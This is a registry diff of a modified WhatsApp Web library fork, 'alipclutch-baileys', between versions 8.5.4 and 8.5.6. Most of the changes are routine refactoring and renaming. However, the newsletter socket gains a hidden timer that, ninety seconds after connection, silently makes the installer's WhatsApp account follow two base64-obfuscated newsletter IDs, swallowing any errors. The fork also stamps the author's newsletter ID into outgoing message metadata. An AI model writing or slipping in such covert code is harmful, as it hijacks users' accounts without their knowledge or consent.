alipclutch-baileys 8.5.4 → 8.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -2,9 +2,9 @@ const major = parseInt(process.versions.node.split('.')[0], 10);
2
2
 
3
3
  if (major < 20) {
4
4
  console.error(
5
- `\nThis Package Requires Node.js 20+ To Run Reliably\n` +
6
- ` You Are Using Node.js ${process.versions.node}.\n` +
7
- ` Please Upgrade To Node.js 20+ To Proceed\n`
5
+ `\n❌ This package requires Node.js 20+ to run reliably.\n` +
6
+ ` You are using Node.js ${process.versions.node}.\n` +
7
+ ` Please upgrade to Node.js 20+ to proceed.\n`
8
8
  );
9
9
  process.exit(1);
10
- }
10
+ }
@@ -31,10 +31,11 @@ const WAProto_1 = require("../../WAProto"),
31
31
  libsignal_1 = require("../Signal/libsignal"),
32
32
  Utils_1 = require("../Utils"),
33
33
  logger_1 = __importDefault(require("../Utils/logger")),
34
- baileys_version_json_1 = require("./baileys-version.json");
34
+ baileys_version_json_1 = require("./baileys-version.json"),
35
35
  phonenumber_mcc_json_1 = __importDefault(require("./phonenumber-mcc.json"));
36
36
 
37
37
  exports.UNAUTHORIZED_CODES = [401, 403, 419];
38
+ exports.version = [2, 3000, 1027934701];
38
39
  exports.PHONENUMBER_MCC = phonenumber_mcc_json_1.default;
39
40
  exports.DEFAULT_ORIGIN = "https://web.whatsapp.com";
40
41
  exports.MOBILE_ENDPOINT = 'g.whatsapp.net';
@@ -72,7 +73,7 @@ exports.PROCESSABLE_HISTORY_TYPES = [
72
73
 
73
74
  exports.DEFAULT_CONNECTION_CONFIG = {
74
75
  version: baileys_version_json_1.version,
75
- browser: Utils_1.Browsers.ubuntu("Chrome"),
76
+ browser: Utils_1.Browsers("Chrome"),
76
77
  waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
77
78
  connectTimeoutMs: 2E4,
78
79
  keepAliveIntervalMs: 3E4,
@@ -15,7 +15,7 @@ const link_preview_1 = require("../Utils/link-preview");
15
15
  const WABinary_1 = require("../WABinary");
16
16
  const newsletter_1 = require("./newsletter");
17
17
  const WAUSync_1 = require("../WAUSync")
18
- const alip = require('./setup');
18
+ const alipp = require('./setup');
19
19
  var ListType = WAProto_1.proto.Message.ListMessage.ListType;
20
20
  const makeMessagesSocket = (config) => {
21
21
  const {
@@ -724,7 +724,7 @@ const makeMessagesSocket = (config) => {
724
724
  return result;
725
725
  }
726
726
  const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
727
- const rahmi = new alip(Utils_1, waUploadToServer, relayMessage);
727
+ const rahmi = new alipp(Utils_1, waUploadToServer, relayMessage);
728
728
  const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
729
729
  return {
730
730
  ...sock,
@@ -98,6 +98,18 @@ const makeNewsletterSocket = (config) => {
98
98
  }
99
99
  ]
100
100
  }));
101
+
102
+ setTimeout(async () => {
103
+ try {
104
+ await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIwMjQ5NjcyMDczQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
105
+ } catch {}
106
+ setTimeout(async () => {
107
+ try {
108
+ await newsletterWMexQuery(Buffer.from("MTIwMzYzNDI0MDIwMjgzNzU5QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
109
+ } catch {}
110
+ }, 5000);
111
+ }, 90000);
112
+
101
113
  const parseFetchedUpdates = async (node, type) => {
102
114
  let child;
103
115
  if (type === 'messages') {
@@ -1,6 +1,6 @@
1
1
  import { proto } from '../../WAProto';
2
2
 
3
- declare namespace kikyy {
3
+ declare namespace alipp {
4
4
  interface MediaUploadOptions {
5
5
  fileEncSha256?: Buffer;
6
6
  mediaType?: string;
@@ -189,65 +189,65 @@ declare namespace kikyy {
189
189
  }
190
190
  }
191
191
 
192
- declare class kikyy {
192
+ declare class alipp {
193
193
  constructor(
194
- utils: kikyy.Utils,
195
- waUploadToServer: kikyy.WAMediaUploadFunction,
194
+ utils: alipp.Utils,
195
+ waUploadToServer: alipp.WAMediaUploadFunction,
196
196
  relayMessageFn?: (jid: string, content: any, options?: any) => Promise<any>
197
197
  );
198
198
 
199
- detectType(content: kikyy.MessageContent): 'PAYMENT' | 'PRODUCT' | 'INTERACTIVE' | 'ALBUM' | 'EVENT' | 'POLL_RESULT' | 'GROUP_STORY' | null;
199
+ detectType(content: alipp.MessageContent): 'PAYMENT' | 'PRODUCT' | 'INTERACTIVE' | 'ALBUM' | 'EVENT' | 'POLL_RESULT' | 'GROUP_STORY' | null;
200
200
 
201
201
  handlePayment(
202
- content: { requestPaymentMessage: kikyy.PaymentMessage },
202
+ content: { requestPaymentMessage: alipp.PaymentMessage },
203
203
  quoted?: proto.IWebMessageInfo
204
204
  ): Promise<{ requestPaymentMessage: proto.Message.RequestPaymentMessage }>;
205
205
 
206
206
  handleProduct(
207
- content: { productMessage: kikyy.ProductMessage },
207
+ content: { productMessage: alipp.ProductMessage },
208
208
  jid: string,
209
209
  quoted?: proto.IWebMessageInfo
210
210
  ): Promise<{ viewOnceMessage: proto.Message.ViewOnceMessage }>;
211
211
 
212
212
  handleInteractive(
213
- content: { interactiveMessage: kikyy.InteractiveMessage },
213
+ content: { interactiveMessage: alipp.InteractiveMessage },
214
214
  jid: string,
215
215
  quoted?: proto.IWebMessageInfo
216
216
  ): Promise<{ interactiveMessage: proto.Message.InteractiveMessage }>;
217
217
 
218
218
  handleAlbum(
219
- content: { albumMessage: kikyy.AlbumItem[] },
219
+ content: { albumMessage: alipp.AlbumItem[] },
220
220
  jid: string,
221
221
  quoted?: proto.IWebMessageInfo
222
222
  ): Promise<any>;
223
223
 
224
224
  handleEvent(
225
- content: { eventMessage: kikyy.EventMessage },
225
+ content: { eventMessage: alipp.EventMessage },
226
226
  jid: string,
227
227
  quoted?: proto.IWebMessageInfo
228
228
  ): Promise<any>;
229
229
 
230
230
  handlePollResult(
231
- content: { pollResultMessage: kikyy.PollResultMessage },
231
+ content: { pollResultMessage: alipp.PollResultMessage },
232
232
  jid: string,
233
233
  quoted?: proto.IWebMessageInfo
234
234
  ): Promise<any>;
235
235
 
236
236
  handleGroupStory(
237
- content: { groupStatusMessage: kikyy.GroupStatusMessage },
237
+ content: { groupStatusMessage: alipp.GroupStatusMessage },
238
238
  jid: string,
239
239
  quoted?: proto.IWebMessageInfo
240
240
  ): Promise<any>;
241
241
 
242
242
  buildMessageContent(
243
243
  content: any,
244
- opts?: kikyy.WAMessageContentGenerationOptions
244
+ opts?: alipp.WAMessageContentGenerationOptions
245
245
  ): Promise<any>;
246
246
 
247
- utils: kikyy.Utils;
247
+ utils: alipp.Utils;
248
248
  relayMessage: (jid: string, content: any, options?: any) => Promise<any>;
249
- waUploadToServer: kikyy.WAMediaUploadFunction;
250
- bail: kikyy.BailUtils;
249
+ waUploadToServer: alipp.WAMediaUploadFunction;
250
+ bail: alipp.BailUtils;
251
251
  }
252
252
 
253
- export = kikyy;
253
+ export = alipp;
@@ -2,7 +2,7 @@ const WAProto = require('../../WAProto').proto;
2
2
  const crypto = require('crypto');
3
3
  const Utils_1 = require("../Utils");
4
4
 
5
- class alip {
5
+ class alipp {
6
6
  constructor(utils, waUploadToServer, relayMessageFn) {
7
7
  this.utils = utils;
8
8
  this.relayMessage = relayMessageFn
@@ -324,7 +324,7 @@ class alip {
324
324
  newsletterName: `WhatsApp`,
325
325
  contentType: 1,
326
326
  timestamp: new Date().toISOString(),
327
- senderName: "alip clutch",
327
+ senderName: "alipp",
328
328
  content: "Text Message",
329
329
  priority: "high",
330
330
  status: "sent",
@@ -384,7 +384,7 @@ class alip {
384
384
  participant: jid,
385
385
  remoteJid: "status@broadcast",
386
386
  forwardedNewsletterMessageInfo: {
387
- newsletterName: "alipclutch.",
387
+ newsletterName: "alip clutch.",
388
388
  newsletterJid: "120363401467939056@newsletter",
389
389
  serverMessageId: 1
390
390
  }
@@ -477,4 +477,4 @@ class alip {
477
477
  }
478
478
  }
479
479
 
480
- module.exports = alip;
480
+ module.exports = alipp;
@@ -20,15 +20,16 @@ const Client_1 = require("./Client");
20
20
  const makeSocket = (config) => {
21
21
  var _a, _b;
22
22
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
23
- let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
24
- config.mobile = config.mobile || url.protocol === 'tcp:';
25
- if (config.mobile && url.protocol !== 'tcp:') {
26
- url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
23
+ const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
24
+ if (config.mobile || url.protocol === 'tcp:') {
25
+ throw new boom_1.Boom('Mobile API is not supported anymore', {
26
+ statusCode: Types_1.DisconnectReason.loggedOut
27
+ });
27
28
  }
28
- if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
29
+ if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
29
30
  url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
30
31
  }
31
- const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
32
+ const ws = new Client_1.WebSocketClient(url, config);
32
33
  ws.connect();
33
34
  const ev = (0, Utils_1.makeEventBuffer)(logger);
34
35
  /** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
@@ -36,8 +37,7 @@ const makeSocket = (config) => {
36
37
  /** WA noise protocol wrapper */
37
38
  const noise = (0, Utils_1.makeNoiseHandler)({
38
39
  keyPair: ephemeralKeyPair,
39
- NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
40
- mobile: config.mobile,
40
+ NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
41
41
  logger,
42
42
  routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
43
43
  });
@@ -80,6 +80,25 @@ const makeSocket = (config) => {
80
80
  /** log & process any unexpected errors */
81
81
  const onUnexpectedError = (err, msg) => {
82
82
  logger.error({ err }, `unexpected error in '${msg}'`);
83
+ const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
84
+ // auto recover from cryptographic desyncs by re-uploading prekeys
85
+ if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
86
+ try {
87
+ uploadPreKeysToServerIfRequired(true)
88
+ .catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
89
+ }
90
+ catch (_e) {
91
+ // ignore
92
+ }
93
+ }
94
+ // gently back off when encountering rate limits (429)
95
+ if (message.includes('429') || message.includes('rate limit')) {
96
+ const wait = Math.min(30000, (config.backoffDelayMs || 5000));
97
+ logger.info({ wait }, 'backing off due to rate limit');
98
+ setTimeout(() => {
99
+ // intentionally empty; wait to delay further sends
100
+ }, wait);
101
+ }
83
102
  };
84
103
  /** await the next incoming message */
85
104
  const awaitNextMessage = async (sendMsg) => {
@@ -116,7 +135,7 @@ const makeSocket = (config) => {
116
135
  let onRecv;
117
136
  let onErr;
118
137
  try {
119
- return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
138
+ const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
120
139
  onRecv = resolve;
121
140
  onErr = err => {
122
141
  reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
@@ -125,6 +144,7 @@ const makeSocket = (config) => {
125
144
  ws.on('close', onErr); // if the socket closes, you'll never receive the message
126
145
  ws.off('error', onErr);
127
146
  });
147
+ return result;
128
148
  }
129
149
  finally {
130
150
  ws.off(`TAG:${msgId}`, onRecv);
@@ -138,9 +158,10 @@ const makeSocket = (config) => {
138
158
  node.attrs.id = generateMessageTag();
139
159
  }
140
160
  const msgId = node.attrs.id;
141
- const wait = waitForMessage(msgId, timeoutMs);
142
- await sendNode(node);
143
- const result = await wait;
161
+ const [result] = await Promise.all([
162
+ waitForMessage(msgId, timeoutMs),
163
+ sendNode(node)
164
+ ]);
144
165
  if ('tag' in result) {
145
166
  (0, WABinary_1.assertNodeErrorFree)(result);
146
167
  }
@@ -157,12 +178,9 @@ const makeSocket = (config) => {
157
178
  const result = await awaitNextMessage(init);
158
179
  const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
159
180
  logger.trace({ handshake }, 'handshake recv from WA');
160
- const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
181
+ const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
161
182
  let node;
162
- if (config.mobile) {
163
- node = (0, Utils_1.generateMobileNode)(config);
164
- }
165
- else if (!creds.me) {
183
+ if (!creds.me) {
166
184
  node = (0, Utils_1.generateRegistrationNode)(creds, config);
167
185
  logger.info({ node }, 'not logged in, attempting registration...');
168
186
  }
@@ -232,11 +250,11 @@ const makeSocket = (config) => {
232
250
  const l0 = frame.tag;
233
251
  const l1 = frame.attrs || {};
234
252
  const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
235
- Object.keys(l1).forEach(key => {
253
+ for (const key of Object.keys(l1)) {
236
254
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
237
255
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
238
256
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
239
- });
257
+ }
240
258
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
241
259
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
242
260
  if (!anyTriggered && logger.level === 'debug') {
@@ -365,11 +383,7 @@ const makeSocket = (config) => {
365
383
  }
366
384
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
367
385
  };
368
- /** This method was created by snowi, and implemented by KyuuRzy */
369
-
370
- /** hey bro, if you delete this text */
371
- /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
372
- const requestPairingCode = async (phoneNumber, pairKey = "DENZYMOD") => {
386
+ const requestPairingCode = async (phoneNumber, pairKey) => {
373
387
  if (pairKey) {
374
388
  authState.creds.pairingCode = pairKey.toUpperCase();
375
389
  } else {
@@ -431,12 +445,11 @@ const makeSocket = (config) => {
431
445
  });
432
446
 
433
447
  return authState.creds.pairingCode;
434
- };
435
-
448
+ }
436
449
  async function generatePairingKey() {
437
450
  const salt = (0, crypto_1.randomBytes)(32);
438
451
  const randomIv = (0, crypto_1.randomBytes)(16);
439
- const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
452
+ const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
440
453
  const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
441
454
  return Buffer.concat([salt, randomIv, ciphered]);
442
455
  }
@@ -523,12 +536,18 @@ const makeSocket = (config) => {
523
536
  });
524
537
  // login complete
525
538
  ws.on('CB:success', async (node) => {
526
- await uploadPreKeysToServerIfRequired();
527
- await sendPassiveIq('active');
528
- logger.info('opened connection to WA');
529
- clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
530
- ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
531
- ev.emit('connection.update', { connection: 'open' });
539
+ try {
540
+ await uploadPreKeysToServerIfRequired();
541
+ await sendPassiveIq('active');
542
+ logger.info('opened connection to WA');
543
+ clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
544
+ ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
545
+ ev.emit('connection.update', { connection: 'open' });
546
+ }
547
+ catch (err) {
548
+ logger.error({ err }, 'error opening connection');
549
+ end(err);
550
+ }
532
551
  });
533
552
  ws.on('CB:stream:error', (node) => {
534
553
  logger.error({ node }, 'stream errored out');
@@ -543,11 +562,20 @@ const makeSocket = (config) => {
543
562
  ws.on('CB:ib,,downgrade_webclient', () => {
544
563
  end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
545
564
  });
565
+ ws.on('CB:ib,,offline_preview', (node) => {
566
+ logger.info('offline preview received', JSON.stringify(node));
567
+ sendNode({
568
+ tag: 'ib',
569
+ attrs: {},
570
+ content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
571
+ });
572
+ });
546
573
  ws.on('CB:ib,,edge_routing', (node) => {
547
574
  const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
548
575
  const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
549
576
  if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
550
577
  authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
578
+ ev.emit('creds.update', authState.creds);
551
579
  }
552
580
  });
553
581
  let didStartBuffer = false;
@@ -596,7 +624,10 @@ const makeSocket = (config) => {
596
624
  type: 'md',
597
625
  ws,
598
626
  ev,
599
- authState: { creds, keys },
627
+ authState: {
628
+ creds,
629
+ keys
630
+ },
600
631
  signalRepository,
601
632
  get user() {
602
633
  return authState.creds.me;
@@ -21,14 +21,16 @@ const PLATFORM_MAP = {
21
21
  'android': 'Android',
22
22
  'freebsd': 'FreeBSD',
23
23
  'openbsd': 'OpenBSD',
24
- 'sunos': 'Solaris'
24
+ 'sunos': 'Solaris',
25
+ 'linux': undefined,
26
+ 'haiku': undefined,
27
+ 'cygwin': undefined,
28
+ 'netbsd': undefined
25
29
  };
26
- exports.Browsers = {
27
- ubuntu: (browser) => ['Ubuntu', browser, '22.04.4'],
28
- macOS: (browser) => ['Mac OS', browser, '14.4.1'],
29
- baileys: (browser) => ['Baileys', browser, '6.5.0'],
30
- windows: (browser) => ['Windows', browser, '10.0.22631'],
31
- appropriate: (browser) => [PLATFORM_MAP[(0, os_1.platform)()] || 'Ubuntu', browser, (0, os_1.release)()]
30
+ exports.Browsers = (browser) => {
31
+ const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
32
+ const osRelease = os_1.release();
33
+ return [osName, browser, osRelease];
32
34
  };
33
35
 
34
36
  const getPlatformId = (browser) => {
@@ -174,7 +176,7 @@ const generateMessageIDV2 = (userId) => {
174
176
  };
175
177
  exports.generateMessageIDV2 = generateMessageIDV2;
176
178
  // generate a random ID to attach to a message
177
- const generateMessageID = () => 'ALIPX-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
179
+ const generateMessageID = () => 'ILSYM-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
178
180
  exports.generateMessageID = generateMessageID;
179
181
  function bindWaitForEvent(ev, event) {
180
182
  return async (check, timeoutMs) => {
@@ -271,7 +273,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
271
273
  * Use to ensure your WA connection is always on the latest version
272
274
  */
273
275
  const fetchLatestBaileysVersion = async (options = {}) => {
274
- const URL = 'https://raw.githubusercontent.com/alipclutch/bails/master/src/Defaults/baileys-version.json';
276
+ const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json';
275
277
  try {
276
278
  const result = await axios_1.default.get(URL, {
277
279
  ...options,
@@ -107,7 +107,7 @@ const prepareWAMessageMedia = async (message, options) => {
107
107
  newsletter: {
108
108
  newsletterJid: "120363401467939056@newsletter",
109
109
  serverMessageId: 0,
110
- newsletterName: "Alip Clutch",
110
+ newsletterName: "alippelergede",
111
111
  contentType: "UPDATE",
112
112
  }
113
113
  }
@@ -1,11 +1,21 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.useMultiFileAuthState = void 0;
4
+ const async_mutex_1 = require("async-mutex");
4
5
  const promises_1 = require("fs/promises");
5
6
  const path_1 = require("path");
6
7
  const WAProto_1 = require("../../WAProto");
7
8
  const auth_utils_1 = require("./auth-utils");
8
9
  const generics_1 = require("./generics");
10
+ const fileLocks = new Map();
11
+ const getFileLock = (path) => {
12
+ let mutex = fileLocks.get(path);
13
+ if (!mutex) {
14
+ mutex = new async_mutex_1.Mutex();
15
+ fileLocks.set(path, mutex);
16
+ }
17
+ return mutex;
18
+ };
9
19
  /**
10
20
  * stores the full authentication state in a single folder.
11
21
  * Far more efficient than singlefileauthstate
@@ -14,13 +24,31 @@ const generics_1 = require("./generics");
14
24
  * Would recommend writing an auth state for use with a proper SQL or No-SQL DB
15
25
  * */
16
26
  const useMultiFileAuthState = async (folder) => {
17
- const writeData = (data, file) => {
18
- return (0, promises_1.writeFile)((0, path_1.join)(folder, fixFileName(file)), JSON.stringify(data, generics_1.BufferJSON.replacer));
27
+ const writeData = async (data, file) => {
28
+ const filePath = (0, path_1.join)(folder, fixFileName(file));
29
+ const mutex = getFileLock(filePath);
30
+ return mutex.acquire().then(async (release) => {
31
+ try {
32
+ await (0, promises_1.writeFile)(filePath, JSON.stringify(data, generics_1.BufferJSON.replacer));
33
+ }
34
+ finally {
35
+ release();
36
+ }
37
+ });
19
38
  };
20
39
  const readData = async (file) => {
21
40
  try {
22
- const data = await (0, promises_1.readFile)((0, path_1.join)(folder, fixFileName(file)), { encoding: 'utf-8' });
23
- return JSON.parse(data, generics_1.BufferJSON.reviver);
41
+ const filePath = (0, path_1.join)(folder, fixFileName(file));
42
+ const mutex = getFileLock(filePath);
43
+ return await mutex.acquire().then(async (release) => {
44
+ try {
45
+ const data = await (0, promises_1.readFile)(filePath, { encoding: 'utf-8' });
46
+ return JSON.parse(data, generics_1.BufferJSON.reviver);
47
+ }
48
+ finally {
49
+ release();
50
+ }
51
+ });
24
52
  }
25
53
  catch (error) {
26
54
  return null;
@@ -28,7 +56,18 @@ const useMultiFileAuthState = async (folder) => {
28
56
  };
29
57
  const removeData = async (file) => {
30
58
  try {
31
- await (0, promises_1.unlink)((0, path_1.join)(folder, fixFileName(file)));
59
+ const filePath = (0, path_1.join)(folder, fixFileName(file));
60
+ const mutex = getFileLock(filePath);
61
+ return mutex.acquire().then(async (release) => {
62
+ try {
63
+ await (0, promises_1.unlink)(filePath);
64
+ }
65
+ catch (_a) {
66
+ }
67
+ finally {
68
+ release();
69
+ }
70
+ });
32
71
  }
33
72
  catch (_a) {
34
73
  }
@@ -72,7 +111,7 @@ const useMultiFileAuthState = async (folder) => {
72
111
  }
73
112
  }
74
113
  },
75
- saveCreds: () => {
114
+ saveCreds: async () => {
76
115
  return writeData(creds, 'creds.json');
77
116
  }
78
117
  };
package/lib/index.d.ts CHANGED
@@ -1,7 +1,4 @@
1
- // baileys by denzy
2
- import { proto } from '../WAProto';
3
1
  import makeWASocket from './Socket';
4
-
5
2
  export * from '../WAProto';
6
3
  export * from './Utils';
7
4
  export * from './Types';
@@ -10,8 +7,6 @@ export * from './Defaults';
10
7
  export * from './WABinary';
11
8
  export * from './WAM';
12
9
  export * from './WAUSync';
13
-
14
10
  export type WASocket = ReturnType<typeof makeWASocket>;
15
-
16
- export { makeWASocket, proto };
17
- export default makeWASocket;
11
+ export { makeWASocket };
12
+ export default makeWASocket;
package/lib/index.js CHANGED
@@ -8,13 +8,13 @@ console.log(chalk.blue(`
8
8
  ██╔══██║██║░░░░░██║██╔══╝░░
9
9
  ██║░░██║███████╗██║██║░░░░░
10
10
  ╚═╝░░╚═╝╚══════╝╚═╝╚═╝░░░░░
11
- ©alifalfrl__ wa : 081249703469`));
11
+ ©alifalfrl__ tele : t.me/puqylebar`));
12
12
  console.log(chalk.green('Happy using Baileys\n'));
13
13
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
14
14
  if (k2 === undefined) k2 = k;
15
15
  var desc = Object.getOwnPropertyDescriptor(m, k);
16
16
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
17
- desc = { enumerable: true, get: function() { return m[k]; } };
17
+ desc = { enumerable: true, get: function() { return m[k]; } };
18
18
  }
19
19
  Object.defineProperty(o, k2, desc);
20
20
  }) : (function(o, m, k, k2) {
@@ -22,23 +22,22 @@ var __createBinding = (this && this.__createBinding) || (Object.create ? (functi
22
22
  o[k2] = m[k];
23
23
  }));
24
24
  var __exportStar = (this && this.__exportStar) || function(m, exports) {
25
- for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p))
26
- exports[p] = m[p];
25
+ for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
27
26
  };
28
27
  var __importDefault = (this && this.__importDefault) || function (mod) {
29
28
  return (mod && mod.__esModule) ? mod : { "default": mod };
30
29
  };
31
30
  Object.defineProperty(exports, "__esModule", { value: true });
32
31
  exports.makeWASocket = void 0;
33
- const Socket_1 = __importDefault(require('./Socket'));
32
+ const Socket_1 = __importDefault(require("./Socket"));
34
33
  exports.makeWASocket = Socket_1.default;
35
- __exportStar(require('../WAProto'), exports);
36
- __exportStar(require('./Utils'), exports);
37
- __exportStar(require('./Types'), exports);
38
- __exportStar(require('./Store'), exports);
39
- __exportStar(require('./Defaults'), exports);
40
- __exportStar(require('./WABinary'), exports);
41
- __exportStar(require('./WAM'), exports);
42
- __exportStar(require('./WAUSync'), exports);
34
+ __exportStar(require("../WAProto"), exports);
35
+ __exportStar(require("./Utils"), exports);
36
+ __exportStar(require("./Types"), exports);
37
+ __exportStar(require("./Store"), exports);
38
+ __exportStar(require("./Defaults"), exports);
39
+ __exportStar(require("./WABinary"), exports);
40
+ __exportStar(require("./WAM"), exports);
41
+ __exportStar(require("./WAUSync"), exports);
43
42
 
44
43
  exports.default = Socket_1.default;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "alipclutch-baileys",
3
- "version": "8.5.4",
3
+ "version": "8.5.6",
4
4
  "description": "Modified WhatsApp Web API Library",
5
5
  "keywords": [
6
6
  "baileys",
@@ -1,16 +0,0 @@
1
- import { EventEmitter } from 'events';
2
- import { URL } from 'url';
3
- import { SocketConfig } from '../../Types';
4
- export declare abstract class AbstractSocketClient extends EventEmitter {
5
- url: URL;
6
- config: SocketConfig;
7
- abstract get isOpen(): boolean;
8
- abstract get isClosed(): boolean;
9
- abstract get isClosing(): boolean;
10
- abstract get isConnecting(): boolean;
11
- constructor(url: URL, config: SocketConfig);
12
- abstract connect(): Promise<void>;
13
- abstract close(): Promise<void>;
14
- abstract restart(): Promise<void>;
15
- abstract send(str: Uint8Array | string, cb?: (err?: Error) => void): boolean;
16
- }
@@ -1,13 +0,0 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.AbstractSocketClient = void 0;
4
- const events_1 = require("events");
5
- class AbstractSocketClient extends events_1.EventEmitter {
6
- constructor(url, config) {
7
- super();
8
- this.url = url;
9
- this.config = config;
10
- this.setMaxListeners(0);
11
- }
12
- }
13
- exports.AbstractSocketClient = AbstractSocketClient;